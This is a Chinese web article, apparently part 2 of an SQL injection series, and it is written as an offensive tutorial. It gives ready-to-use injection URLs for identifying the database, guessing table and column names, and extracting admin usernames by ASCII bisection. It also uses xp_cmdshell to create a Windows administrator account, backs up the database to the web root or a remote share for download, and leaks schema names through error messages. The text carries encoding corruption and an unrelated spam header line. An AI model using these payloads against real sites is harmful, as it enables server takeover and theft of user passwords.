不卡AV在线|网页在线观看无码高清|亚洲国产亚洲国产|国产伦精品一区二区三区免费视频

學(xué)習(xí)啦>學(xué)習(xí)電腦>電腦安全>網(wǎng)絡(luò)安全知識>

SQL注入漏洞的攻防策略(2)

時間: 若木632 分享

  在確認(rèn)可以注入的情況下,使用下面的語句:

  http://www.mytest.com/showdetail.asp?id=49 ;and (select count(*) from sysobjects)>0

  http://www.mytest.com/showdetail.asp?id=49 ;and (select count(*) from msysobjects)>0

  如果數(shù)據(jù)庫是SQLServer,那么第一個網(wǎng)址的頁面與原頁面http://www.mytest.com/showdetail.asp?

  id= 49是大致相同的;而第二個網(wǎng)址,由于找不到表msysobjects,會提示出錯,就算程序有容錯處理,

  頁面也與原頁面完全不同。

  如果數(shù)據(jù)庫用的是Access,那么情況就有所不同,第一個網(wǎng)址的頁面與原頁面完全不同;第二個網(wǎng)址

  ,則視乎數(shù)據(jù)庫設(shè)置是否允許讀該系統(tǒng)表,一般來說是不允許的,所以與原網(wǎng)址也是完全不同。大多數(shù)情

  況下,用第一個網(wǎng)址就可以得知系統(tǒng)所用的數(shù)據(jù)庫類型,第二個網(wǎng)址只作為開啟IIS錯誤提示時的驗(yàn)證。

  進(jìn)階篇

  在入門篇,我們學(xué)會了SQL注入的判斷方法,但真正要拿到網(wǎng)站的保密內(nèi)容,是遠(yuǎn)遠(yuǎn)不夠的。接下來

  ,我們就繼續(xù)學(xué)習(xí)如何從數(shù)據(jù)庫中獲取想要獲得的內(nèi)容,首先,我們先看看SQL注入的一般步驟:

  第一節(jié)、SQL注入的一般步驟

  首先,判斷環(huán)境,尋找注入點(diǎn),判斷數(shù)據(jù)庫類型,這在入門篇已經(jīng)講過了。

  其次,根據(jù)注入?yún)?shù)類型,在腦海中重構(gòu)SQL語句的原貌,按參數(shù)類型主要分為下面三種:

  (A) ID=49 這類注入的參數(shù)是數(shù)字型,SQL語句原貌大致如下:

  Select * from 表名 where 字段=49

  注入的參數(shù)為ID=49 And [查詢條件],即是生成語句:

  Select * from 表名 where 字段=49 And [查詢條件]

  (B) Class=連續(xù)劇 這類注入的參數(shù)是字符型,SQL語句原貌大致概如下:

  Select * from 表名 where 字段=’連續(xù)劇’

  注入的參數(shù)為Class=連續(xù)劇’ and [查詢條件] and ‘’=’ ,即是生成語句:

  Select * from 表名 where 字段=’連續(xù)劇’ and [查詢條件] and ‘’=’’

  © 搜索時沒過濾參數(shù)的,如keyword=關(guān)鍵字,SQL語句原貌大致如下:

  Select * from 表名 where 字段like ’%關(guān)鍵字%’

  注入的參數(shù)為keyword=’ and [查詢條件] and ‘%25’=’, 即是生成語句:

  Select * from 表名 where字段like ’%’ and [查詢條件] and ‘%’=’%’

  接著,將查詢條件替換成SQL語句,猜解表名,例如:

  ID=49 And (Select Count(*) from Admin)>=0

  如果頁面就與ID=49的相同,說明附加條件成立,即表Admin存在,反之,即不存在(請牢記這種方法

  )。如此循環(huán),直至猜到表名為止。

  表名猜出來后,將Count(*)替換成Count(字段名),用同樣的原理猜解字段名。

  有人會說:這里有一些偶然的成分,如果表名起得很復(fù)雜沒規(guī)律的,那根本就沒得玩下去了。說得很

  對,這世界根本就不存在100%成功的黑客技術(shù),蒼蠅不叮無縫的蛋,無論多技術(shù)多高深的黑客,都是因?yàn)?/p>

  別人的程序?qū)懙貌粐?yán)密或使用者保密意識不夠,才有得下手。

  有點(diǎn)跑題了,話說回來,對于SQLServer的庫,還是有辦法讓程序告訴我們表名及字段名的,我們在

  高級篇中會做介紹。

  最后,在表名和列名猜解成功后,再使用SQL語句,得出字段的值,下面介紹一種最常用的方法-Asc

  ii逐字解碼法,雖然這種方法速度很慢,但肯定是可行的方法。

  我們舉個例子,已知表Admin中存在username字段,首先,我們?nèi)〉谝粭l記錄,測試長度:

  http://www.mytest.com/showdetail.asp?id=49 ;and (select top 1 len(username) from Admin)>0

  先說明原理:如果top 1的username長度大于0,則條件成立;接著就是>1、>2、>3這樣測試下去,一

  直到條件不成立為止,比如>7成立,>8不成立,就是len(username)=8

  當(dāng)然沒人會笨得從0,1,2,3一個個測試,怎么樣才比較快就看各自發(fā)揮了。在得到username的長度后

  ,用mid(username,N,1)截取第N位字符,再asc(mid(username,N,1))得到ASCII碼,比如:

  id=49 and (select top 1 asc(mid(username,1,1)) from Admin)>0

  同樣也是用逐步縮小范圍的方法得到第1位字符的ASCII碼,注意的是英文和數(shù)字的ASCII碼在1-128之

  間,可以用折半法加速猜解,如果寫成程序測試,效率會有極大的提高。

  第二節(jié)、SQL注入常用函數(shù)

  有SQL語言基礎(chǔ)的人,在SQL注入的時候成功率比不熟悉的人高很多。我們有必要提高一下自己的SQL

  水平,特別是一些常用的函數(shù)及命令。

  Access:asc(字符) SQLServer:unicode(字符)

  作用:返回某字符的ASCII碼

  Access:chr(數(shù)字) SQLServer:nchar(數(shù)字)

  作用:與asc相反,根據(jù)ASCII碼返回字符

  Access:mid(字符串,N,L) SQLServer:substring(字符串,N,L)

  作用:返回字符串從N個字符起長度為L的子字符串,即N到N+L之間的字符串

  Access:abc(數(shù)字) SQLServer:abc (數(shù)字)

  作用:返回數(shù)字的絕對值(在猜解漢字的時候會用到)

  Access:A between B And C SQLServer:A between B And C

  作用:判斷A是否界于B與C之間

  第三節(jié)、中文處理方法

  在注入中碰到中文字符是常有的事,有些人一碰到中文字符就想打退堂鼓了。其實(shí)只要對中文的編碼

  有所了解,“中文恐懼癥”很快可以克服。

  先說一點(diǎn)常識:

  Access中,中文的ASCII碼可能會出現(xiàn)負(fù)數(shù),取出該負(fù)數(shù)后用abs()取絕對值,漢字字符不變。

  SQL Server中,中文的ASCII為正數(shù),但由于是UNICODE的雙位編碼,不能用函數(shù)ascii()取得ASCII碼

  ,必須用函數(shù)unicode ()返回unicode值,再用nchar函數(shù)取得對應(yīng)的中文字符。

  了解了上面的兩點(diǎn)后,是不是覺得中文猜解其實(shí)也跟英文差不多呢?除了使用的函數(shù)要注意、猜解范

  圍大一點(diǎn)外,方法是沒什么兩樣的。

  高級篇

  看完入門篇和進(jìn)階篇后,稍加練習(xí),破解一般的網(wǎng)站是沒問題了。但如果碰到表名列名猜不到,或程

  序作者過濾了一些特殊字符,怎么提高注入的成功率?怎么樣提高猜解效率?請大家接著往下看高級篇。

  第一節(jié)、利用系統(tǒng)表注入SQLServer數(shù)據(jù)庫

  SQL Server是一個功能強(qiáng)大的數(shù)據(jù)庫系統(tǒng),與操作系統(tǒng)也有緊密的聯(lián)系,這給開發(fā)者帶來了很大的方

  便,但另一方面,也為注入者提供了一個跳板,我們先來看看幾個具體的例子:

 ?、?http://Site/url.asp?id=1;exec master..xp_cmdshell “net user name password /add”--

  分號;在SQLServer中表示隔開前后兩句語句,--表示后面的語句為注釋,所以,這句語句在SQLServe

  r中將被分成兩句執(zhí)行,先是Select出ID=1的記錄,然后執(zhí)行存儲過程xp_cmdshell,這個存儲過程用于調(diào)

  用系統(tǒng)命令,于是,用net命令新建了用戶名為name、密碼為password的windows的帳號,接著:

 ?、?http://Site/url.asp?id=1;exec master..xp_cmdshell “net localgroup name

  administrators /add”--

  將新建的帳號name加入管理員組,不用兩分鐘,你已經(jīng)拿到了系統(tǒng)最高權(quán)限!當(dāng)然,這種方法只適用

  于用sa連接數(shù)據(jù)庫的情況,否則,是沒有權(quán)限調(diào)用xp_cmdshell的。

 ?、?http://Site/url.asp?id=1 ;and db_name()>0

  前面有個類似的例子and user>0,作用是獲取連接用戶名,db_name()是另一個系統(tǒng)變量,返回的是

  連接的數(shù)據(jù)庫名。

 ?、?http://Site/url.asp?id=1;backup database 數(shù)據(jù)庫名 to disk=’c:/inetpub/wwwroot/1.db’

  ;--

  這是相當(dāng)狠的一招,從③拿到的數(shù)據(jù)庫名,加上某些IIS出錯暴露出的絕對路徑,將數(shù)據(jù)庫備份到Web

  目錄下面,再用HTTP把整個數(shù)據(jù)庫就完完整整的下載回來,所有的管理員及用戶密碼都一覽無遺!在不知

  道絕對路徑的時候,還可以備份到網(wǎng)絡(luò)地址的方法(如//202.96.xx.xx/Share /1.db),但成功率不高。

 ?、?http://Site/url.asp?id=1 ;and (Select Top 1 name from sysobjects where xtype=’U’

  and status>0)>0

  前面說過,sysobjects是SQLServer的系統(tǒng)表,存儲著所有的表名、視圖、約束及其它對象,xtype=

  ’U’ and status>0,表示用戶建立的表名,上面的語句將第一個表名取出,與0比較大小,讓報錯信息

  把表名暴露出來。第二、第三個表名怎么獲取?還是留給我們聰明的讀者思考吧。

  ⑥ http://Site/url.asp?id=1 ;and (Select Top 1 col_name(object_id(‘表名’),1) from

  sysobjects)>0

  從⑤拿到表名后,用object_id(‘表名’)獲取表名對應(yīng)的內(nèi)部ID,col_name(表名ID,1)代表該表的

  第1個字段名,將1換成2,3,4...就可以逐個獲取所猜解表里面的字段名。

  以上6點(diǎn)是我研究SQLServer注入半年多以來的心血結(jié)晶,可以看出,對SQLServer的了解程度,直接

  影響著成功率及猜解速度。在我研究SQLServer注入之后,我在開發(fā)方面的水平也得到很大的提高,呵呵

  ,也許安全與開發(fā)本來就是相輔相成的吧。

75367